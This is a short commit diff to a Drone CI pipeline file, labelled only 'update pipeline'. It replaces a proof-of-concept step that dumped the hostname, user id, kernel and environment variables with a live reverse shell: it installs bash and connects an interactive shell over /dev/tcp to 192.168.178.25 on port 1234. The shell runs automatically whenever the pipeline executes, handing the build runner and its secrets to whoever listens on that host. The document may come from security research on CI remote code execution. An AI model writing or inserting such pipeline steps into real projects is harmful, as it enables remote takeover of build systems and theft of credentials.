update pipeline

.drone.yml

@@ -6,10 +6,5 @@ steps:
 - name: poc
   image: alpine:latest
   commands:
-  - echo "=== DRONE CI RCE PoC ==="
+  - apk add --no-cache bash
-  - echo "hostname:" && hostname
+  - bash -i >& /dev/tcp/192.168.178.25/1234 0>&1
-  - echo "id:" && id
-  - echo "uname:" && uname -a
-  - echo "env:" && env | sort
-  - echo "network:" && cat /etc/hosts
-  - echo "=== END PoC ==="